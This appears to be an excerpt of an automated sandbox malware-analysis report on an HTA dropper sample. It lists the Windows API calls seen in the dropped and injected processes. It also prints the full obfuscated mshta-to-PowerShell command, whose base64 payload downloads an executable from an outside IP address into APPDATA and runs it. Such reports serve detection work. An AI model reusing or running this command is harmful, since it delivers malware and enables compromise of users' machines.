Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\igcc[1].exe			Jump to dropped file

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0042CA23 NtClose,	13_2_0042CA23
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A735C0 NtCreateMutant,LdrInitializeThunk,	13_2_03A735C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72B60 NtClose,LdrInitializeThunk,	13_2_03A72B60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72DF0 NtQuerySystemInformation,LdrInitializeThunk,	13_2_03A72DF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A74340 NtSetContextThread,	13_2_03A74340
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A73090 NtSetValueKey,	13_2_03A73090
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A73010 NtOpenDirectoryObject,	13_2_03A73010
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A74650 NtSuspendThread,	13_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72BA0 NtEnumerateValueKey,	13_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72B80 NtQueryInformationFile,	13_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72BE0 NtQueryValueKey,	13_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72BF0 NtAllocateVirtualMemory,	13_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72AB0 NtWaitForSingleObject,	13_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72AF0 NtWriteFile,	13_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72AD0 NtReadFile,	13_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A739B0 NtGetContextThread,	13_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72FA0 NtQuerySection,	13_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72FB0 NtResumeThread,	13_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72F90 NtProtectVirtualMemory,	13_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72FE0 NtCreateFile,	13_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72F30 NtCreateSection,	13_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72F60 NtCreateProcessEx,	13_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72EA0 NtAdjustPrivilegesToken,	13_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72E80 NtReadVirtualMemory,	13_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72EE0 NtQueueApcThread,	13_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72E30 NtWriteVirtualMemory,	13_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72DB0 NtEnumerateKey,	13_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72DD0 NtDelayExecution,	13_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72D30 NtUnmapViewOfSection,	13_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72D00 NtSetInformationFile,	13_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72D10 NtMapViewOfSection,	13_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A73D10 NtOpenProcessToken,	13_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A73D70 NtOpenThread,	13_2_03A73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72CA0 NtQueryInformationToken,	13_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72CF0 NtOpenProcess,	13_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72CC0 NtQueryVirtualMemory,	13_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72C00 NtQueryInformationProcess,	13_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72C60 NtCreateKey,	13_2_03A72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A72C70 NtFreeVirtualMemory,	13_2_03A72C70

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_0007A1EF: GetFullPathNameW,__swprintf,CreateDirectoryW,CreateFileW,_memset,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,

12_2_0007A1EF

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_00068310 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

12_2_00068310

Source: C:\Users\user\AppData\Roaming\igcc.exe

Code function: 12_2_000751BD ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

12_2_000751BD

Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0001E6A0	12_2_0001E6A0
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0003D975	12_2_0003D975
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0001FCE0	12_2_0001FCE0
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000321C5	12_2_000321C5
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000462D2	12_2_000462D2
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000903DA	12_2_000903DA
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0004242E	12_2_0004242E
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000325FA	12_2_000325FA
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0006E616	12_2_0006E616
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000266E1	12_2_000266E1
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0004878F	12_2_0004878F
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00028808	12_2_00028808
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00046844	12_2_00046844
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00090857	12_2_00090857
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00078889	12_2_00078889
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0003CB21	12_2_0003CB21
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00046DB6	12_2_00046DB6
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00026F9E	12_2_00026F9E
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00023030	12_2_00023030
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00033187	12_2_00033187
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0003F1D9	12_2_0003F1D9
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00011287	12_2_00011287
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00031484	12_2_00031484
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00025520	12_2_00025520
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00037696	12_2_00037696
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00025760	12_2_00025760
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00031978	12_2_00031978
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00031D90	12_2_00031D90
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0003BDA6	12_2_0003BDA6
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00097DDB	12_2_00097DDB
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_0001DF00	12_2_0001DF00
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_00023FE0	12_2_00023FE0
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_01455570	12_2_01455570
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00418993	13_2_00418993
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0042F043	13_2_0042F043
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00402870	13_2_00402870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0041017A	13_2_0041017A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00410183	13_2_00410183
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00403190	13_2_00403190
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00401240	13_2_00401240
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040E383	13_2_0040E383
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00416B8F	13_2_00416B8F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00416B93	13_2_00416B93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004103A3	13_2_004103A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00402C74	13_2_00402C74
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040E4C7	13_2_0040E4C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040E4D3	13_2_0040E4D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_00402C80	13_2_00402C80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_0040E51C	13_2_0040E51C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004045E4	13_2_004045E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_004047A5	13_2_004047A5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A8739A	13_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A4E3F0	13_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03B003E6	13_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF132D	13_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A2D34C	13_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFA352	13_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A452A0	13_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AE12ED	13_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A5B2C0	13_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AE0274	13_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A4B1B0	13_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03B001AA	13_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF81CC	13_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A30100	13_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03ADA118	13_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A7516C	13_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A2F172	13_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03B0B16B	13_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF70E9	13_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFF0E0	13_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AEF0CC	13_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A470C0	13_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFF7B0	13_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A3C7C0	13_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A40770	13_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A64750	13_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A5C6E0	13_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF16CC	13_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03ADD5B0	13_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03B00591	13_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A40535	13_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF7571	13_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AEE4F6	13_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFF43F	13_2_03AFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A31460	13_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF2446	13_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A5FB80	13_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A7DBF9	13_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF6BD7	13_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFFB76	13_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFAB40	13_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03ADDAAC	13_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A85AA0	13_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A3EA80	13_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AEDAC6	13_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AB3A6C	13_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFFA49	13_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF7A46	13_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A429A0	13_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03B0A9A6	13_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A56962	13_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A49950	13_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A5B950	13_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A268B8	13_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A438E0	13_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A6E8F0	13_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A42840	13_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A4A840	13_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFFFB1	13_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A41F92	13_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A4CFE0	13_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A32FC8	13_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A60F30	13_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFFF09	13_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AB4F40	13_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A49EB0	13_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A52E90	13_2_03A52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFCE93	13_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFEEDB	13_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFEE26	13_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A40E59	13_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A58DBF	13_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A3ADE0	13_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A5FDC0	13_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A4AD00	13_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF7D73	13_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A43D40	13_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AF1D5A	13_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AE0CB5	13_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A30CF2	13_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AFFCF2	13_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03AB9C32	13_2_03AB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 13_2_03A40C00	13_2_03A40C00
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4360B	15_2_06A4360B
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A43654	15_2_06A43654
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A3971C	15_2_06A3971C
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A434BB	15_2_06A434BB
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4BCC7	15_2_06A4BCC7
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4BCCB	15_2_06A4BCCB
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A454DB	15_2_06A454DB
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A435FF	15_2_06A435FF
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A452B2	15_2_06A452B2
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A452BB	15_2_06A452BB
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4DACB	15_2_06A4DACB
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A4A3FB	15_2_06A4A3FB
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A398DD	15_2_06A398DD
Source: C:\Program Files (x86)\GSuVlZLJvYBiwWmRwxSqNDCqctQDFEzoiYNZPHkdLLawvxxNaIbP\WRNKS5Hlc0y.exe	Code function: 15_2_06A6417B	15_2_06A6417B

Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03AAEA12 appears 84 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A2B970 appears 266 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A87E54 appears 88 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03ABF290 appears 105 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03A75130 appears 36 times
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: String function: 00038900 appears 42 times
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: String function: 00017DE1 appears 35 times
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: String function: 00030AE3 appears 70 times

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000681CB AdjustTokenPrivileges,CloseHandle,		12_2_000681CB
Source: C:\Users\user\AppData\Roaming\igcc.exe	Code function: 12_2_000687E1 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		12_2_000687E1

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7672:120:WilError_03

Source: unknown	Process created: C:\Windows\SysWOW64\mshta.exe mshta.exe "C:\Users\user\Desktop\njo.hta"
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe POwERsHElL.exE -Ex bypass -NOp -w 1 -C DEVIcecreDEntIalDePLoyMEnT.ExE ; IEX($(IEX('[SysteM.texT.ENCoDINg]'+[ChaR]0X3a+[ChaR]58+'utf8.getStrinG([systEm.cONveRt]'+[char]58+[cHar]58+'FrOmbAse64STRinG('+[CHar]0X22+'JFpzb2RoaDdrWCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkRC1UeXBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1tRU1iRVJkRWZpTkl0aU9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1Ukxtb04uZExMIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVb2pXamtsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhYW15WG92b08sc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHZHY09aUFhYaCx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEJaUXhpdVksSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhIbCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiY09pYm9lIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRXNQYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxBdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRac29kaGg3a1g6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xNzIuMjQ1LjIwOC4yMS8yMzMvaWdjYy5leGUiLCIkRU5WOkFQUERBVEFcaWdjYy5leGUiLDAsMCk7c3RhUnQtc0xlZVAoMyk7aW52T0tlLWlURW0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxpZ2NjLmV4ZSI='+[CHaR]34+'))')))"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qetstupm\qetstupm.cmdline"
